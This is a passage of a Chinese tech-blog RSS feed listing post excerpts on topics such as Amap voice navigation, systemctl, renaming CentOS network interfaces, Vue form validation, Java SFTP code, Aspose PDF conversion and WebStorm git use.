      <pubDate>Wed, 23 Dec 2020 15:08:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e8c503ce8e006b8291d5a50ad95b187d/</guid>
      <description>高德地图越来越多人使用，目前超过7亿用户正在使用，是全网最好用的地图导航软件之一。可以智能的规划路线，还可以使用特色的高德语音导航，在驾驶车辆的过程中更加方便、实用。不过很多人不怎么会使用高德地图的语音导航，我们一起看看高德的语音导航该怎么打开？&#xA;高德语音导航怎么呼叫?&#xA;首先要使用高德地图的语音导航，需要先把这个模式打开才可以需要语音呼叫功能。下面是打开高德地图的语音呼叫功能。&#xA;1、需要打开最新版本高德地图，进入到主界面后，点击 “我的”进入到个人中心。&#xA;2、再点击右上角的设置按键(小齿轮图标)进入到设置，在里面选择导航设置。&#xA;3、进入后在“语音播报”的地方把“语音唤醒小德” 功能打开，打开后可以在导航时使用该功能。&#xA;需要呼叫语音导航时，要说“你好小德”或者“小德小德”唤醒高德地图的语音导航指令，就可以进行语音导航了。&#xA;高德地图语音包怎么设置&#xA;目前高德地图有许多导航语音包，比如小团团语音升级版、李佳琦语音、林志玲性感语音等很多导航语音包。&#xA;高德地图最新版，设置语音包的步骤和以上打开语音导航的步骤一样，只是在 “语音播报”的功能下选择“导航语音”，进入后下载自己需要得语音包。或者是录自己的语音导航，可以根据需要选择使用。</description>
    </item>
    <item>
      <title>高德地图哪个语音包最好_高德地图app怎么录制语音包?高德地图将自己的语音用作导航语音包的方法介绍...</title>
      <link>https://bchobby.github.io/posts/3d8c26f76c8248d8f49071fc9982b064/</link>
      <pubDate>Wed, 23 Dec 2020 15:07:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3d8c26f76c8248d8f49071fc9982b064/</guid>
      <description>高德地图是一款中国专业的手机地图，拥有全面的地点信息，特色语音导航、智能路线规划，是我们常用的一款移动地图导航工具，用高德地图语音导航，可以听到很多明星的导航语音播报，当然你也可以自己录制语音包。那么，怎么把自己的声音作为高德地图导航语音包呢？下面小编就给大家介绍使用高德地图app录制语音包的具体方法，一起来看看吧。&#xA;高德地图app怎么录制语音包?&#xA;打开手机高德地图，在页面底端点击“我的”，进入个人中心之后选择“导航语音包”，在跳转到的页面，点击“录制我的好声音”，即可快速进入语音录制模块。&#xA;高德地图预设了多个版本的播报口令供你选择，点击“换一换”，便可轻松切换，定有一款适合你！&#xA;选择一个你喜欢的版本，按住页面底部的“话筒”图标不放，录入相关的播报口令，即可生成你的个性语音导航。时长要控制在5秒以内，不然可要重新录入哦。&#xA;录入完毕后，你可以点击屏幕上的播放按钮，聆听一下实际的录音效果。若是对效果不满意，点击“重录”，便可以重新录入；若是效果还不错，点击“下一句”，继续录入口令吧。&#xA;录制完成8个场景的播报口令之后，点击页面右上角“保存”按钮，输入名字后保存，高德地图会自动将保存的语音包设置为默认语音导航，这样一款彰显你独特个性的导航语音包就大功告成啦！&#xA;教程结束，以上就是关于高德地图app怎么录制语音包?高德地图将自己的语音用作导航语音包的方法介绍，如果你也想录制属于自己的个性语音包，那就赶快下载高德地图试试吧！&#xA;相关教程推荐：</description>
    </item>
    <item>
      <title>pythonloop循环结构_python - tensorflow，tf.while_loop：这两个结构没有相同的嵌套结构 - SO中文参考 - www.soinside.com...</title>
      <link>https://bchobby.github.io/posts/748214264e4b4d9bc055b5c90d2c50f0/</link>
      <pubDate>Wed, 23 Dec 2020 14:42:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/748214264e4b4d9bc055b5c90d2c50f0/</guid>
      <description>我试图构建一个嵌套循环，用于创建一个2-dim零矩阵来解决LCS问题(动态编程)。这稍后用于计算Rouge-L得分(输入是张量，而不是字符串)，但总是出错提高ValueError: The two structures don&#39;t have the same nested structure.&#xA;我检查了一些类似的问题，我修改了一些代码，但它仍然无法工作(我在这里提出的代码是最终代码)：&#xA;我改变了shape_invariants。我现在使用len(内部)来动态获取内部的形状。&#xA;还是shape_invariants，我现在将1改为0(shape_invariants中的第一个参数)。我认为标量的形状是1，但我在github上检查了一些源代码，我发现它全部使用0。&#xA;# the origin code is below, in which sub and string are both string(type), len_sub and len_string are both int:&#xA;lengths = [[0 for i in range(0,len_sub+1)] for j in range(0,len_string+1)]&#xA;# but in the new code that I need, the sub and string are both tensor, so I code like this:&#xA;len_string = tf.shape(string)[0]&#xA;len_sub = tf.</description>
    </item>
    <item>
      <title>大数据在职研究生哪个好_各种大数据在职研究生到底有什么不同之处</title>
      <link>https://bchobby.github.io/posts/2ef20da0200c30cdf48be449cab3a1fe/</link>
      <pubDate>Wed, 23 Dec 2020 13:26:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2ef20da0200c30cdf48be449cab3a1fe/</guid>
      <description>现在是互联网时代，大数据越来越受到关注，所以很多院校现在开设了大数据在职研究生，不过这种专业的在职研究生有三种方向，很多人对于他们之间的区别不太了解。那么，各种大数据在职研究生到底有什么不同之处呢？下面来为大家介绍一下。&#xA;1、大数据与云计算在职研究生&#xA;目前开设大数据与云计算在职研究生的院校主要是中国人民大学，属于信息学院的招生专业，此专业偏向于技术领域，主要的招生对象是：(1)负责信息化建设和软件开发、数据库系统管理等的人员；(2)IT企业的各类技术人员(系统分析设计人员、程序员、系统管理员、测试人员等)。希望培养出能够从事计算机软件系统和应用系统的开发与管理人才。人大这个专业的学费是25000元/2年，采用同等学力申硕方式进行招生，结业后学员可以申请工学硕士学位。&#xA;2、大数据与应用统计在职研究生&#xA;大数据与应用统计在职研究生的开设院校同样是中国人民大学，是在统计学院进行招生，偏向从事数理统计与概率论、科研和应用工作。设立大数据在职研修班是为了培养从事数理统计与概率论方向的人才。大数据与应用统计在职研究生的学费是22000元/2年，结业后学员可以申请理学硕士学位。&#xA;3、大数据分析与应用在职研究生&#xA;在中国人民大学，大数据分析与应用在职研究生这个专业是信息资源管理学院的招生专业，意在提高在职人员的数据分析能力，主要针对数据进行专业化处理，通过分析数据提取有利的价值。大数据分析与应用在职研究生的学费是22000元/2年，结业后学员可以申请管理学硕士学位。&#xA;通过以上介绍可知，这三种大数据在职研究生的不同之处体现在：所属的院系、学费、申请的硕士学位类型等方面，想要报考这个专业的在职人员，需要根据自己的实际需求来选择适合自己的大数据在职研究生专业。</description>
    </item>
    <item>
      <title>systemctl重新加载_对/etc/systemd/system.conf的更改重新启动或“systemctl daemon-reload”？...</title>
      <link>https://bchobby.github.io/posts/2824984cc3649ace34c386c797ec2a7b/</link>
      <pubDate>Wed, 23 Dec 2020 11:51:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2824984cc3649ace34c386c797ec2a7b/</guid>
      <description>不,daemon-reload将重新加载所有单元文件,而不是systemd本身的配置.但是,#systemctl daemon-reexec将重新执行systemd并使其在此过程中消化其新配置.&#xA;从systemctl手册页：&#xA;daemon-reexec&#xA;Reexecute the systemd manager. This will serialize the manager&#xA;state, reexecute the process and deserialize the state again. This&#xA;command is of little use except for debugging and package upgrades.&#xA;Sometimes, it might be helpful as a heavy-weight daemon-reload.&#xA;While the daemon is being reexecuted, all sockets systemd listening&#xA;on behalf of user configuration will stay accessible.&#xA;当手册页说daemon-reexec对包升级有用时,它在很大程度上意味着该命令执行任何新的二进制文件并重新处理其配置.但是,我们用于升级systemd的RPM已经包含了执行此操作的脚本,因此在正常升级的情况下通常不需要它.&#xA;或者你可以重启.要么会这样做.</description>
    </item>
    <item>
      <title>Linux/centos更改网卡名字</title>
      <link>https://bchobby.github.io/posts/200dd8fce531a5acc6bfa5fefd909d2a/</link>
      <pubDate>Wed, 23 Dec 2020 11:02:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/200dd8fce531a5acc6bfa5fefd909d2a/</guid>
      <description>可适用银河麒麟操作系统&#xA;一，防止不可逆的后果，先备份文件 备份ifcfg-xxx,/etc/default/grub，/boot/grub2&#xA;二，改名配置重启 (1)修改ifcfg-xxx文件中的device和name字段为eth0，并将ifcfg-xxx改名为ifcfg-eth0&#xA;(2)将net.ifnames=0 biosdevname=0添加到/etc/default/grub文件中&#xA;(3)键入以下命令，更新grub&#xA;grub2-mkconfig -o /boot/efi/EFI/kylin/grub.cfg&#xA;(4)查看&#xA;cat /proc/cmdline&#xA;(5)重启机器即可</description>
    </item>
    <item>
      <title>vue/react表单检验为空不通过</title>
      <link>https://bchobby.github.io/posts/df013f0837c5f98b5cc14b084130bfe2/</link>
      <pubDate>Wed, 23 Dec 2020 10:50:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/df013f0837c5f98b5cc14b084130bfe2/</guid>
      <description>1、Vue版 说明：&#xA;（1）如果检验未通过，input框的border-color会变成红色；&#xA;（2）ref的值和v-model绑定值的key必须一样才能生效；&#xA;&amp;lt;template&amp;gt; &amp;lt;input ref=&#39;title&#39; ref=&#39;title&#39; v-model=&#39;formData.title&#39;/&amp;gt; &amp;lt;input ref=&#39;name&#39; ref=&#39;name&#39; v-model=&#39;formData.name&#39;/&amp;gt; &amp;lt;button @click=&#34;submit&#34;&amp;gt;提交&amp;lt;/button&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; data(){ return{ formData:{ title:&#39;&#39;, name:&#39;&#39;, } } }, methods:{ inspection(value){ Object.keys(value).some( (item) =&amp;gt; { if (this.$refs[item].value === &#39;&#39;) { this.$refs[item].style.borderColor = &#39;#ff0000&#39; } else { this.$refs[item].style.borderColor = &#39;#999999&#39; } } ); const flag = Object.keys(value).findIndex( (item) =&amp;gt; { return this.$refs[item].value === &#39;&#39; }) if (flag !== -1) { alert(&#39;必填项不可为空！&#39;) return false } else { return true } }, submit(){ const { title, name } = this.</description>
    </item>
    <item>
      <title>STPF取数协议</title>
      <link>https://bchobby.github.io/posts/39177a88f12e07702bda02b43b6774ac/</link>
      <pubDate>Wed, 23 Dec 2020 10:04:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/39177a88f12e07702bda02b43b6774ac/</guid>
      <description>import java.io.*; import java.text.SimpleDateFormat; import java.util.Calendar; import java.util.Date; import java.util.Properties; import java.util.Vector; import org.apache.commons.io.IOUtils; import com.jcraft.jsch.*; import lombok.extern.slf4j.Slf4j; @Slf4j public class SftpUtil { private final String ftpAddress; private final int ftpPort; private final String ftpUserName; private final String ftpPassWord; private Session session; private ChannelSftp sftp; public SftpUtil(String odsRead, String ftpAddress, int ftpPort, String ftpUserName, String ftpPassWord, String ftpFile) { this.ftpAddress = ftpAddress; this.ftpPort = ftpPort; this.ftpUserName = ftpUserName; this.ftpPassWord = ftpPassWord; } /** * 连接sftp服务器 */ public boolean sftpLogin(){ try { JSch jsch = new JSch(); session = jsch.</description>
    </item>
    <item>
      <title>React &#43; Koa2打造『官方管理后台』2</title>
      <link>https://bchobby.github.io/posts/f99b6392b7efaceadd2601338d7c3aaf/</link>
      <pubDate>Wed, 23 Dec 2020 09:59:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f99b6392b7efaceadd2601338d7c3aaf/</guid>
      <description>四.admin表模型、密码加密、初始化admin账户 1.测试redisclient,控制器中 const {redisSet,redisGet}= require(&#39;../lib/redisClient&#39;) ; class Index{ async index(ctx,next){ const sess = ctx.session; if(!sess.uid){ sess.uid = 1; sess.userName = &#39;zza&#39;; sess.nikeName = &#39;js++&#39;; sess.gender = &#39;male&#39; } redisGet(&#39;txclass.sessCNDoPmbqF8SyH1xCTQf4kHAnhy4x4Z6y&#39;).then((res)=&amp;gt;{ console.log(res); }) console.log(sess) ctx.body={ session:sess } } } module.exports = new Index(); 把以上代码注释&#xA;2.初始化admin,model中建立admin.js const seq = require(&#39;../connection/mysql_connect&#39;), { STRING,INT ,TEXT} = require(&#39;../../config/db_type_config&#39;); const Admin = seq.defin(&#39;admin&#39;,{ username:{ comment:&#39;admin user name&#39;, type:STRING, allowNull:false }, passWord:{ comment:&#39;crypto user password&#39;, type:STRING, allowNull:false } }) module.</description>
    </item>
    <item>
      <title>ezpolt和plot区别_plot  fplot zeplot区别</title>
      <link>https://bchobby.github.io/posts/8694b87b8734b4515bfdb58520e9afa3/</link>
      <pubDate>Wed, 23 Dec 2020 08:09:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8694b87b8734b4515bfdb58520e9afa3/</guid>
      <description>plot&#xA;、&#xA;fplot&#xA;、&#xA;ezplot&#xA;的使用与区别&#xA;函数&#xA;plot&#xA;是绘制二维图形的最基本函数，它是针对向量或矩阵的列来绘制&#xA;曲线的。也就是说，使用&#xA;plot&#xA;函数之前，必须首先定义好曲线上每一点的&#xA;x&#xA;及&#xA;y&#xA;坐标，常用格式为：&#xA;1&#xA;、二维数据曲线图&#xA;指数函数和余弦函数之间用点乘运算&#xA;.*&#xA;plot&#xA;函数，&#xA;plot(x,y)&#xA;具有两个纵坐标标度的图像，可以使用&#xA;plotyy&#xA;(&#xA;x1,y1,x2,y2&#xA;)&#xA;图形保持&#xA;hold on&#xA;：希望在已存的图形上继续添加新的图形&#xA;hold off&#xA;：刷新原有图形&#xA;2&#xA;、图形标注于坐标控制&#xA;title&#xA;：图形名称&#xA;xlabel&#xA;：&#xA;X&#xA;轴说明&#xA;ylabel&#xA;：&#xA;y&#xA;轴说明&#xA;text&#xA;：在(&#xA;x,y&#xA;)坐标出添加图形说明&#xA;legend&#xA;：图例说明，放置在图形的空白处&#xA;3&#xA;、对函数自适应采样的绘图函数&#xA;在变化率大的区段密集采样&#xA;fplot(fname,lims,tol,&#xA;选项&#xA;)&#xA;fname:&#xA;函数名&#xA;lims&#xA;：&#xA;x,y&#xA;的取值范围，以行向量形式出现&#xA;tol&#xA;：相对允许误差&#xA;选项：定义与&#xA;plot</description>
    </item>
    <item>
      <title>mesh和wifi中继的区别_科普：路由器的无线中继和Mesh的区别是什么？</title>
      <link>https://bchobby.github.io/posts/897b070b59a431c9a798a77979c7438a/</link>
      <pubDate>Wed, 23 Dec 2020 05:21:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/897b070b59a431c9a798a77979c7438a/</guid>
      <description>大户型和越层户型等改善型性房型越来越普及了，但是这些用户却也面临WiFi网络越来越差的窘境，如何改善WiFi网络就成为了迫在眉睫需要解决的问题，在无线路由的早期，不少人都习惯于使用无线中继的方式来解决这个问题。&#xA;无线中继组网就是利用AP的无线接力功能，将无线信号从一个中继点接力传递到下一个中继点，但是由于中继器必须在同一个信道上接收和转发，很明显这样就会将原本有线的带宽资源减半，层层递减，甚至在末端将面临有网无速的尴尬，而且由于是这种单链结构，其中一个路由坏了，后续的网络则如多米诺骨牌一样全部瘫痪。也许弊病这么多的无线中继组网在家庭用户眼里确实该进博物馆被抛弃了。&#xA;而近两年则出现了全新更智能的无线Mesh组网方式，与无线中继的单信道接收发送不同，无线Mesh网络进行多信道接入，所以，无线Mesh组网方式组成的是一种多节点互联的网格型网络，即便一个节点出现了问题，也不会导致整个WiFi网络瘫痪，因此拥有更高的稳定性！&#xA;目前市面上主流的Mesh路由产品，节点间不仅可以通过无线连接，同样可以使用类似AC+AP模式的有线连接，获得更高的连接稳定性，而要说性价比较高的当属360全屋路由产品，不仅仅是性价比更高，它还有如下三大优势：&#xA;一、组网方便&#xA;在组网方面，全新的Mesh路由都拥有非常便捷的组网方式，在配置方面要比无线中继方便很多，而360全屋路由则在细节上做得更加出色，不止可以即插即用，日常维护也简单不少，比如新增分身Mesh路由的时候，通过自研的Colink协议可实现一键快速组网，按下按钮即可，完全不需要复杂的设置和手动操作，所以在连接和配置上比无线中继还要更加的方便智能。&#xA;二、无缝漫游&#xA;家里有了多个分身路由之后，可能有用户担心当从客厅走到卧室的时候，必然面临各个路由之间切换的问题，这个完全不用担心，全屋漫游是360全屋路由的核心优势，分身和主路由的多频信号被合成了一个WiFi名称，用户不用纠结连哪个，更不必手动切换，在屋内随意走动时，上网设备会自动连接最强信号，无缝无感切换，没有任何等待重连和卡顿感，上网体验十分流畅。&#xA;三、自动选择最优联网路径&#xA;第三就是用户的WiFi设备可以自动选择更优路线入网，360全屋路由平时自动侦测平衡带宽流量，而实现网络性能优化则是“于无声中听惊雷”，再配合360安全大脑提供的安全防护，上网环境要清亮许多。&#xA;此外，得益于内置高通CPU的优势，360全屋路由也支持高通的Wi-Fi SON解决方案，与360全屋路由的菊花链星型拓扑结构一起，让你全屋的路由即便是一个分身路由坏了也不怕，因为其它几台会自动组成一个互联网络，重新组网之后，家中的WiFi终端设备会就近连接一个特定的网络节点，这样就能保证家里的WiFi网络依然稳定高速！当然，Wi-Fi SON解决方案还有自管理、自修复和自防御等等亮点。&#xA;其实从上面可以看到，性价比高的360全屋路由并不是一款减配的路由产品，而是不管在硬件还是软件方面都有很多亮点的优质Mesh路由产品，所以不客气地说，无论从价格上还是从体验上，360全屋路由都是目前大户型用户更加明智的选择。</description>
    </item>
    <item>
      <title>小米扫地机器人 虚拟墙_扫地机器人虚拟墙是什么东西？</title>
      <link>https://bchobby.github.io/posts/1626f3bf0f4d2d1be656985e402baf55/</link>
      <pubDate>Wed, 23 Dec 2020 04:24:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1626f3bf0f4d2d1be656985e402baf55/</guid>
      <description>这里有实际使用虚拟墙的视频，希望帮到你。如果看不到视频就点原文链接看吧。&#xA;说说Neato Botvac 85虚拟墙的使用感受&#xA;==================================&#xA;原文链接： 说说Neato Botvac 85虚拟墙的使用感受&#xA;上个星期，智友宋学滨带着Neato Botvac 85到我家里体验了一把，说实在的，以前也就是在网上看看照片，了解了解配置，第一次看到真家伙清扫工作，与大部分碰撞吸扫地机不同的D型设计和直线路径，确实很高级。&#xA;只不过上次家里较为凌乱，没发挥出Neato Botvac 85真正的实力。带着想体验一把的心，和老宋商量借来玩了几天。&#xA;这两天使用下来，感觉Neato Botvac 85明显比那天的表现好多了，不过难免还是出现反复的探测测绘，耗费了时间和电量，但总体的清扫要比之前顺畅多了，当然这很有可能是我收拾了房间，把一些不必要的东西清理出了Neato Botvac 85要清扫的区域。&#xA;今天写这篇其实更像是帮老宋代笔，上次他说想试试Neato Botvac 85自带的虚拟磁条，但这个星期也没时间过来，我这两天有空，就帮他试了。&#xA;先看一下Neato Botvac 85的自带磁条。磁性不能说很强，但足以蜷缩成一团。测量了一下，自带的这条磁条长大概在2.05米，宽在2.5厘米。对于阻隔一套中等房型(100平以下)的空间区域是足够用了。&#xA;宽：2.5cm&#xA;说实话，自己没用过这种虚拟磁条，之前接触iRobot的产品比较多，i家的虚拟墙都是需要接通电源的装置(自己家里用的是Roomba 528，这种低端型号更是没办法配置虚拟墙)。因此，第一次上手这种磁条有点摸不着头脑，翻了一下Neato自带的说明书，发现根本就没有磁条的使用方法，后来在大神complus的回答里了解了一下摆放的方法：不想让扫地机器人进入的区域，把磁条拉平放在门口即可。&#xA;于是我首先在客厅进行摆放，想阻止Neato Botvac 85进入餐厅。&#xA;布置后，启动Neato Botvac 85，它的表现是这样的：&#xA;Neato Botvac 85的机身碰撞到了磁条，并调整方向沿着磁条前进，但由于磁条不是固定在地上的，因此被Neato Botvac 85的机身带动离开了原来的位置，不过Neato Botvac 85并没有越过磁条。&#xA;第一次看到这样的现象时，我还以为是Neato Botvac 85并没有探测到磁条的存在，因此又尝试了磁条的另外一种摆放方式——把磁条侧立起来。&#xA;这一次Neato Botvac 85的表现是这样的：&#xA;侧立的磁带更不稳，因此在与Neato Botvac 85的接触中直接被带走，整个虚拟墙可以说是“面目全非”。不过Neato Botvac 85依然没有逾越磁条。&#xA;可以说，对于磁条两次的摆放尝试，虽然侧立摆放看起来错误，但Neato Botvac 85都没有从磁条上越过进入餐厅，磁条还是发挥了虚拟墙的作用。&#xA;接下来是测试了一下不让扫地机进入房间，我在房间门口摆放了磁条。&#xA;通过视频可以看到，Neato Botvac 85触碰到了磁条，但依然选择了沿着磁条方向前进，并没有进入到房间内。而为了测试磁条所做的虚拟墙作用，我还尝试了将磁条移开和以电线替代磁条摆放在房间门口。&#xA;不摆放磁条的情况下：&#xA;不摆放磁条的情况可以看见，Neato Botvac 85“大摇大摆”的进入了房间。&#xA;以电线代替磁条的情况下：&#xA;可以看见，Neato Botvac 85并没有沿着电线前进，而是顶着电线进入房间。&#xA;而通过这两种情况的测试足以证明，磁条发挥了虚拟墙的作用，成功阻止了Neato Botvac 85进入到房间内。</description>
    </item>
    <item>
      <title>aspose转pdf横版_Aspose实现文件转PDF在线预览及水印功能</title>
      <link>https://bchobby.github.io/posts/5bc2c70dfc2443e5eba71cca055c6cac/</link>
      <pubDate>Wed, 23 Dec 2020 02:57:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5bc2c70dfc2443e5eba71cca055c6cac/</guid>
      <description>文件转换及在线预览&#xA;因为项目是做OA这一块，有很多附件需要实现在线预览附件，在网上也看了很多相关的资料。主要实现方式就是 (openoffice+swftools+flexpaper)和(aspose+pdfjs预览)。&#xA;主要步骤：&#xA;1.需要先将文档转换为PDF文件。&#xA;2.用pdfjs预览PDF文件&#xA;转换步骤：使用OpenOffice/Aspose 将ppt、word、excel、txt类型的文件转换为pdf&#xA;预览步骤：高版本浏览器上，使用pdf.js直接预览PDF文件&#xA;低版本浏览器上，使用swftools将PDF文件转换为swf文件，再使用flexpaper预览swf(没有做这个步骤)&#xA;组件安装：&#xA;Aspose&#xA;由于OpenOffice的转换效果并不太佳，这里选择了Aspose&#xA;在Aspose官网下载Aspose的Java版本，主要选择&#xA;Aspose.words&#xA;Aspose.cells(Excel)&#xA;Aspose.slides(PPT)&#xA;Aspose.pdf&#xA;下载完成后，在工程中引用jar包即可。&#xA;功能实现：&#xA;这里采用的所有组件版本为：&#xA;名称 版本&#xA;Aspose.words 16.8.0&#xA;Aspose.cells 9.0.0&#xA;Aspose.slides 116.7.0&#xA;Aspose.pdf 11.8.0&#xA;文档转换为PDF&#xA;使用Aspose进行文档转换很简单，直接引入相应的jar包，调用save方法，转换为PDF即可。&#xA;注意：使用Aspose时，每一个模块(words,cells)都可能有相同的类，如License类，SaveOptions类，SaveFormat类。而在各自模块使用时，一定要用对应模块的类，这个坑我已爬过。&#xA;使用Aspose时，需要每次进行转换操作前调用设置License方法。&#xA;水印功能&#xA;编辑卡片描述&#xA;部署Aspose附件转换服务，该服务主要功能是将系统中所有附件(格式为word、EXCEL、PPT、PDF)转换为H5页面，类似百度文库查看word附件的效果，转换的文件后，在系统打开附件时，呈现的效果就是在线阅览并且带有水印的模式&#xA;水印功能&#xA;Aspose.words之插入水印&#xA;1. 前言&#xA;继几个月前的word模板打印美化之后，最近又接到的一个需求是需要给由word转换为的pdf打上水印。经过几个小时的折腾发现直接在pdf打上的水印将下面的字体覆盖效果过于明显，试图插入背景图片又发现会被pdf自身的背景色给遮挡。无奈只能从源头的word入手。&#xA;2. 详解&#xA;以下就是核心代码了&#xA;1&#xA;2&#xA;3&#xA;4&#xA;5&#xA;6&#xA;7&#xA;8&#xA;9&#xA;10&#xA;11&#xA;12&#xA;13&#xA;14&#xA;15&#xA;16&#xA;17&#xA;18&#xA;19&#xA;20&#xA;21&#xA;22&#xA;23</description>
    </item>
    <item>
      <title>C&#43;&#43;学习链接</title>
      <link>https://bchobby.github.io/posts/d18ad735d7a28b01e6c7f723fd89ad6e/</link>
      <pubDate>Tue, 22 Dec 2020 22:16:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d18ad735d7a28b01e6c7f723fd89ad6e/</guid>
      <description>菜鸟教程C++&#xA;https://www.runoob.com/cplusplus/cpp-classes-objects.html</description>
    </item>
    <item>
      <title>webstorm使用gitee_使用webstorm操作git</title>
      <link>https://bchobby.github.io/posts/d5c84f245356a24c9a24d7f5429e806c/</link>
      <pubDate>Tue, 22 Dec 2020 17:47:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d5c84f245356a24c9a24d7f5429e806c/</guid>
      <description>0. 前言&#xA;在上一篇文章中，讲述了使用webstorm去调试node程序，最近研究了一下如何使用webstorm去操作git。&#xA;对于git的使用，大家的使用方式均有不同，最王道的方式非命令行莫属，基于git的GUI软件还是很多的，大家可自行研究使用。之前使用eclipse svn插件去操作版本管理，还是很便捷的一件事情。而今用惯了webstorm，当然里面也集成了对svn的支持，只是最近一直在用git，所以想试着用webstorm中的git集成工具进行版本管理。当然之前都是以敲命令行的方式去做，达到一个熟练度，速度还是很可观的。通过这篇文章，主要讲述如何使用webstorm中的git工具进行更加快速高效的版本管理。&#xA;1. 先说git理论&#xA;webstorm提供了git不少试图，下面列举其一：&#xA;我们在上面看到了git面板的很多选项，想要弄清楚各个选项具体要做什么，常用且常规的git理论知识及操作经验不可少。&#xA;我们先看对git操作的简单分类，如下——&#xA;远程仓库类：git clone/remote/pull/push/rebase/fetch&#xA;分支类(包括tag)：git branch/tag/checkout/stash&#xA;信息查阅：git status/log/diff&#xA;本地常规操作：git add/commit/rm/merge/reset&#xA;这里仅仅是我个人的分类方式，每个人都对它有不同的分类，欢迎补充。&#xA;需要强调的是，你需要对上述命令关键词都做了什么事儿、应用于何场景，需要有清晰的把握，如果你不知，不放看看文章末尾的参考文章。多说一句，一定要结合工作区、暂存区、版本库的三者关系去理解。&#xA;结合上面给出的图片，我们可以看到，webstorm中的git工具无非是这些命令行的可视化抽象，我们来看看怎么玩儿好它。&#xA;2. 使用webstorm中的git&#xA;2.1 右键菜单&#xA;先来最熟知的右键操作，分为两类：文件夹(或者工程)右键和文件右键，先看看文件夹右键的效果——&#xA;再看看文件右键——&#xA;会发现两者的差异仅仅在于文件右键的视图多了一些diff操作(或者可以联想到git diff命令)。我们看看各个选项的含义——&#xA;Commit File...　提交至本地版本库&#xA;Add　添加进缓存区&#xA;Show Current Revision　显示当前文件的最新版本信息，如下图——&#xA;Compare with the Same Repository Version　与当前版本(的文件)做比较，可以理解为与最新版本比较，也就是可以比较本地工作区和本地版本库的差异(也记住，比较视图中，右侧永远是最新的那个版本内容)——&#xA;Compare with Latest Repository Version　与上一版本(的文件)做比较，可以理解为当前版本与本地工作区所做的更改共同来与上一版本比较&#xA;Compare with...　与任意历史版本(的文件)做比较&#xA;Compare with Branch...　与任意分支(的文件)做比较，包括本地分支及远程分支&#xA;Show History　展示关联本文件(或者文件夹中的所有文件)提交信息历史，我们可以看到，历史提交信息面板出现于下方Version Control面板中——&#xA;Show History for Selection　对指定的代码块，显示历史版本信息&#xA;(连接第二个图)--------&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&#xA;Revert...　还原代码，要注意与reset的区分，这里仅仅是将本地工作区的代码还原为本地仓库中的最新版本的代码</description>
    </item>
    <item>
      <title>关于solidworksPDM插件的制作</title>
      <link>https://bchobby.github.io/posts/8bfd83e932b03d621a901be0bd5f435d/</link>
      <pubDate>Tue, 22 Dec 2020 16:10:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8bfd83e932b03d621a901be0bd5f435d/</guid>
      <description>关于SOLIDWORKS PDM插件的制作 PDM插件用到的主要分两种AddCmdAddHook方法 PDM插件用到的主要分两种 通过插件命令管理接口IEdmCmdMgr5 的方法来实现（注册）&#xA;生成的类需继承 IEdmAddIn5接口的 addcmd和oncmd方法&#xA;AddCmd 添加菜单类的方法：&#xA;void AddCmd( System.int lCmdID, System.string bsMenuString, System.int lEdmMenuFlags, System.string bsStatusBarHelp, System.string bsToolbarToolTip, System.int lToolbarButtonIndex, System.int lToolbarImageID ) 对应的参数介绍如下：&#xA;lCmdID&#xA;本命令的ID&#xA;bsMenuString&#xA;命令上显示的文本（相当到buttom里的.txt）&#xA;lEdmMenuFlags&#xA;菜单的适合范围（如可以设为仅仅选择是文件时，菜单才有效）【可选】&#xA;bsStatusBarHelp&#xA;用户在右键单击上下文菜单中突出显示菜单项时在Windows资源管理器状态栏中显示的可选文本【可选】&#xA;bsToolbarToolTip&#xA;光标位于命令工具栏按钮上方时显示的可选消息【可选】&#xA;lToolbarButtonIndex&#xA;资源图像中工具栏按钮的可选索引【可选】&#xA;lToolbarImageID&#xA;用作工具栏按钮的图像的可选ID【可选】&#xA;AddHook方法 添加一个挂钩，当指定事件发生时，该挂钩使SOLIDWORKS PDM Professional将该插件的IEdmAddIn5插件下对应的方法；类似于一个事件触发机制&#xA;钩子参见如下&#xA;https://blog.csdn.net/weixin_34294649/article/details/90157515&#xA;该方法主要用一个参数&#xA;void AddHook( EdmCmdType eCmdType, System.object poReserved ) eCmdType&#xA;事件的类型触发见一表&#xA;poReserved&#xA;空值; 保留以备将来使用&#xA;例事件触发类：&#xA;using Microsoft.VisualBasic; using System; using System.Collections; using System.</description>
    </item>
    <item>
      <title>acrobat 需要登录怎么办_「Shopify小白系列」Shopify账户忘记密码怎么办？Shopify密码重置&amp;应用介绍...</title>
      <link>https://bchobby.github.io/posts/8725b7359b9b7c9475f6ab553ca21134/</link>
      <pubDate>Tue, 22 Dec 2020 14:55:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8725b7359b9b7c9475f6ab553ca21134/</guid>
